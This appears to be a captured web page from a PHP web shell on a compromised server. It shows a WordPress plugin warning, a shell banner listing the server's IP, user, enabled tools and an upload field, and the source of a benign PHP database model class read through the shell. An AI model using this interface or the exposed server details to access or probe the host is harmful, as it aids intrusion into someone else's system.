Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/kjvdictionary_store/modules/pkpCore/ |
Upload File : |
<?php
class Model {
use \modules\config\traits {
\modules\config\traits::__construct as __ConstructConfig;
}
protected $logging = FALSE;
// protected $logging = '/phil/logging.txt';
protected $lp = FALSE;
public $controller;
public function __construct() {
$this->__ConstructConfig();
}
static
public function GetHandle() {
$name = static::class;
if (!isset($GLOBALS['handle'][$name])) {
return $GLOBALS['handle'][$name] = new static;
} else {
return $GLOBALS['handle'][$name];
}
}
public function LogFilename() {
if (func_num_args()) {
$this->logging = func_get_arg(0);
return $this;
}
return $this->logging;
}
public function Log($message) {
if ($this->logging !== FALSE) {
if ($this->lp === FALSE) $this->lp = fopen($this->logging, 'a');
$dt = date('Y-m-d H:i:s');
if (is_resource($this->lp)) {
fwrite($this->lp, "$dt: {$message}\n");
}
}
}
}
class Database_model extends Model {
use \modules\database\traits {
\modules\database\traits::__construct as __ConstructDatabase;
}
public function __construct() {
parent::__construct();
$this->__ConstructDatabase();
}
public function debug() {
$res = call_user_func_array([$this->_database_engine, 'debug'], func_get_args());
return func_num_args() > 0 ? $this : $res;
}
/* public function InheritTable(&$tablename, &$keyfields) {
if (isset($this->tablename)) {
$tablename = $this->tablename;
} else {
$tablename = FALSE;
}
if (isset($this->keyfields)) {
$keyfields = $this->keyfields;
} else {
$keyfields = [];
}
} */
}